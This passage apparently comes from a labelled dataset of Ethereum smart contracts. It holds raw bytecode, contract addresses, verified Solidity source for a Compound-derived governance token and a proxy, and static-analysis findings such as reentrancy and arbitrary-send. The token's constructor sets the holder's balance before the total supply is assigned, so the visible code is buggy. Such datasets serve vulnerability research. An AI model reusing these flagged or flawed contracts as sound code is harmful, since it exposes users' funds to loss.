5836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220682be72c0c4eba68b409e3725469c91829fd159f311316b67557653fb694e77164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,476 |
0x6d09df2b26a18cd52136a1ef446c85c31f712d28
|
/**
*Submitted for verification at Etherscan.io on 2021-06-14
*/
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
/// @notice Based on Compound Governance.
contract GovernanceToken {
/// @notice EIP-20 token name for this token
string public name;
/// @notice EIP-20 token symbol for this token
string public symbol;
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public totalSupply;
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Comp token
* @param account The initial account to grant all the tokens
*/
constructor(address account, string memory _name, string memory _symbol, uint _totalSupply) public {
balances[account] = uint96(totalSupply);
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
emit Transfer(address(0), account, _totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Comp::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce");
require(now <= expiry, "Comp::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea571461025f578063c3cda52014610272578063dd62ed3e14610285578063e7a324dc14610298578063f1127ed8146102a057610121565b806370a08231146101fe578063782d6fe1146102115780637ecebe001461023157806395d89b4114610244578063a9059cbb1461024c57610121565b806323b872dd116100f457806323b872dd14610181578063313ce56714610194578063587cde1e146101a95780635c19a95c146101c95780636fcfff45146101de57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016457806320606b7014610179575b600080fd5b61012e6102c1565b60405161013b9190611847565b60405180910390f35b61015761015236600461127d565b61034f565b60405161013b919061179d565b61016c61040e565b60405161013b91906117ab565b61016c610414565b61015761018f366004611230565b61042b565b61019c610574565b60405161013b91906118e1565b6101bc6101b73660046111d0565b610579565b60405161013b919061178f565b6101dc6101d73660046111d0565b610594565b005b6101f16101ec3660046111d0565b6105a1565b60405161013b91906118b8565b61016c61020c3660046111d0565b6105b9565b61022461021f36600461127d565b6105dd565b60405161013b91906118fd565b61016c61023f3660046111d0565b6107f4565b61012e610806565b61015761025a36600461127d565b610860565b61022461026d3660046111d0565b61089c565b6101dc6102803660046112ad565b61090c565b61016c6102933660046111f6565b610acb565b61016c610aff565b6102b36102ae366004611334565b610b0b565b60405161013b9291906118c6565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103475780601f1061031c57610100808354040283529160200191610347565b820191906000526020600020905b81548152906001019060200180831161032a57829003601f168201915b505050505081565b600080600019831415610365575060001961038a565b61038783604051806060016040528060258152602001611a2560259139610b40565b90505b3360008181526003602090815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103fa9085906118ef565b60405180910390a360019150505b92915050565b60025481565b60405161042090611779565b604051809103902081565b6001600160a01b03831660009081526003602090815260408083203380855290835281842054825160608101909352602580845291936001600160601b039091169285926104839288929190611a2590830139610b40565b9050866001600160a01b0316836001600160a01b0316141580156104b057506001600160601b0382811614155b1561055a5760006104da83836040518060600160405280603d8152602001611afc603d9139610b6f565b6001600160a01b038981166000818152600360209081526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105509085906118ef565b60405180910390a3505b610565878783610bae565b600193505050505b9392505050565b601281565b6005602052600090815260409020546001600160a01b031681565b61059e3382610d59565b50565b60076020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600460205260409020546001600160601b031690565b60004382106106075760405162461bcd60e51b81526004016105fe90611878565b60405180910390fd5b6001600160a01b03831660009081526007602052604090205463ffffffff1680610635576000915050610408565b6001600160a01b038416600090815260066020908152604080832063ffffffff6000198601811685529252909120541683106106b1576001600160a01b03841660009081526006602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b03169050610408565b6001600160a01b038416600090815260066020908152604080832083805290915290205463ffffffff168310156106ec576000915050610408565b600060001982015b8163ffffffff168163ffffffff1611156107af57600282820363ffffffff1604810361071e61118d565b506001600160a01b038716600090815260066020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b0316918101919091529087141561078a576020015194506104089350505050565b805163ffffffff168711156107a1578193506107a8565b6001820392505b50506106f4565b506001600160a01b038516600090815260066020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60086020526000908152604090205481565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103475780601f1061031c57610100808354040283529160200191610347565b60008061088583604051806060016040528060268152602001611a4a60269139610b40565b9050610892338583610bae565b5060019392505050565b6001600160a01b03811660009081526007602052604081205463ffffffff16806108c757600061056d565b6001600160a01b0383166000908152600660209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03169392505050565b600060405161091a90611779565b60405180910390206000604051610931919061173c565b6040518091039020610941610de3565b3060405160200161095594939291906117f7565b604051602081830303815290604052805190602001209050600060405161097b90611784565b604051908190038120610996918a908a908a906020016117b9565b604051602081830303815290604052805190602001209050600082826040516020016109c3929190611748565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610a00949392919061182c565b6020604051602081039080840390855afa158015610a22573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610a555760405162461bcd60e51b81526004016105fe90611858565b6001600160a01b03811660009081526008602052604090208054600181019091558914610a945760405162461bcd60e51b81526004016105fe90611888565b87421115610ab45760405162461bcd60e51b81526004016105fe90611868565b610abe818b610d59565b505050505b505050505050565b6001600160a01b0391821660009081526003602090815260408083209390941682529190915220546001600160601b031690565b60405161042090611784565b600660209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610b675760405162461bcd60e51b81526004016105fe9190611847565b509192915050565b6000836001600160601b0316836001600160601b031611158290610ba65760405162461bcd60e51b81526004016105fe9190611847565b505050900390565b6001600160a01b038316610bd45760405162461bcd60e51b81526004016105fe906118a8565b6001600160a01b038216610bfa5760405162461bcd60e51b81526004016105fe90611898565b6001600160a01b038316600090815260046020908152604091829020548251606081019093526036808452610c45936001600160601b0390921692859291906119ef90830139610b6f565b6001600160a01b03848116600090815260046020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526030808452610cad9491909116928592909190611acc90830139610de7565b6001600160a01b038381166000818152600460205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d1a9085906118ef565b60405180910390a36001600160a01b03808416600090815260056020526040808220548584168352912054610d5492918216911683610e23565b505050565b6001600160a01b03808316600081815260056020818152604080842080546004845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610ddd828483610e23565b50505050565b4690565b6000838301826001600160601b038087169083161015610e1a5760405162461bcd60e51b81526004016105fe9190611847565b50949350505050565b816001600160a01b0316836001600160a01b031614158015610e4e57506000816001600160601b0316115b15610d54576001600160a01b03831615610f06576001600160a01b03831660009081526007602052604081205463ffffffff169081610e8e576000610ecd565b6001600160a01b0385166000908152600660209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610ef48285604051806060016040528060288152602001611aa460289139610b6f565b9050610f0286848484610fb1565b5050505b6001600160a01b03821615610d54576001600160a01b03821660009081526007602052604081205463ffffffff169081610f41576000610f80565b6001600160a01b0384166000908152600660209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610fa78285604051806060016040528060278152602001611b3960279139610de7565b9050610ac3858484845b6000610fd543604051806060016040528060348152602001611a7060349139611166565b905060008463ffffffff1611801561101e57506001600160a01b038516600090815260066020908152604080832063ffffffff6000198901811685529252909120548282169116145b1561107d576001600160a01b0385166000908152600660209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b0385160217905561111c565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600683528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600790935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724848460405161115792919061190b565b60405180910390a25050505050565b600081600160201b8410610b675760405162461bcd60e51b81526004016105fe9190611847565b604080518082019091526000808252602082015290565b8035610408816119bf565b8035610408816119d3565b8035610408816119dc565b8035610408816119e5565b6000602082840312156111e257600080fd5b60006111ee84846111a4565b949350505050565b6000806040838503121561120957600080fd5b600061121585856111a4565b9250506020611226858286016111a4565b9150509250929050565b60008060006060848603121561124557600080fd5b600061125186866111a4565b9350506020611262868287016111a4565b9250506040611273868287016111af565b9150509250925092565b6000806040838503121561129057600080fd5b600061129c85856111a4565b9250506020611226858286016111af565b60008060008060008060c087890312156112c657600080fd5b60006112d289896111a4565b96505060206112e389828a016111af565b95505060406112f489828a016111af565b945050606061130589828a016111c5565b935050608061131689828a016111af565b92505060a061132789828a016111af565b9150509295509295509295565b6000806040838503121561134757600080fd5b600061135385856111a4565b9250506020611226858286016111ba565b61136d81611944565b82525050565b61136d8161194f565b61136d81611954565b61136d61139182611954565b611954565b6000815460018116600081146113b357600181146113d657611415565b607f60028304166113c48187611936565b60ff1984168152955085019250611415565b600282046113e48187611936565b95506113ef85611926565b60005b8281101561140e578154888201526001909101906020016113f2565b5050850192505b505092915050565b600061142882611932565b611432818561193b565b9350611442818560208601611989565b61144b816119b5565b9093019392505050565b600061146260268361193b565b7f436f6d703a3a64656c656761746542795369673a20696e76616c6964207369678152656e617475726560d01b602082015260400192915050565b60006114aa60268361193b565b7f436f6d703a3a64656c656761746542795369673a207369676e617475726520658152651e1c1a5c995960d21b602082015260400192915050565b60006114f2600283611936565b61190160f01b815260020192915050565b600061151060278361193b565b7f436f6d703a3a6765745072696f72566f7465733a206e6f742079657420646574815266195c9b5a5b995960ca1b602082015260400192915050565b600061155960228361193b565b7f436f6d703a3a64656c656761746542795369673a20696e76616c6964206e6f6e815261636560f01b602082015260400192915050565b600061159d603a8361193b565b7f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e7366657220746f20746865207a65726f2061646472657373000000000000602082015260400192915050565b60006115fc604383611936565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b6000611667603c8361193b565b7f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e736665722066726f6d20746865207a65726f206164647265737300000000602082015260400192915050565b60006116c6603a83611936565b7f44656c65676174696f6e28616464726573732064656c6567617465652c75696e81527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020820152603a0192915050565b61136d81611963565b61136d8161196c565b61136d8161197e565b61136d81611972565b600061056d8284611396565b6000611753826114e5565b915061175f8285611385565b60208201915061176f8284611385565b5060200192915050565b6000610408826115ef565b6000610408826116b9565b602081016104088284611364565b602081016104088284611373565b60208101610408828461137c565b608081016117c7828761137c565b6117d46020830186611364565b6117e1604083018561137c565b6117ee606083018461137c565b95945050505050565b60808101611805828761137c565b611812602083018661137c565b61181f604083018561137c565b6117ee6060830184611364565b6080810161183a828761137c565b6117d46020830186611721565b6020808252810161056d818461141d565b6020808252810161040881611455565b602080825281016104088161149d565b6020808252810161040881611503565b602080825281016104088161154c565b6020808252810161040881611590565b602080825281016104088161165a565b602081016104088284611718565b604081016118d48285611718565b61056d6020830184611733565b602081016104088284611721565b60208101610408828461172a565b602081016104088284611733565b60408101611919828561172a565b61056d602083018461172a565b60009081526020902090565b5190565b919050565b90815260200190565b600061040882611957565b151590565b90565b6001600160a01b031690565b63ffffffff1690565b60ff1690565b6001600160601b031690565b600061040882611972565b60005b838110156119a457818101518382015260200161198c565b83811115610ddd5750506000910152565b601f01601f191690565b6119c881611944565b811461059e57600080fd5b6119c881611954565b6119c881611963565b6119c88161196c56fe436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365436f6d703a3a617070726f76653a20616d6f756e7420657863656564732039362062697473436f6d703a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473436f6d703a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773436f6d703a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a365627a7a72315820e34ce7edfe2aca5910b5e7511158aa49be9798e4e1e7eed1f703c117221d073b6c6578706572696d656e74616cf564736f6c63430005110040
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 4,477 |
0x2dCf322D66cB77A05F66fDFf93E3678Df7E44DEA
|
/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback() external payable {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive() external payable {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
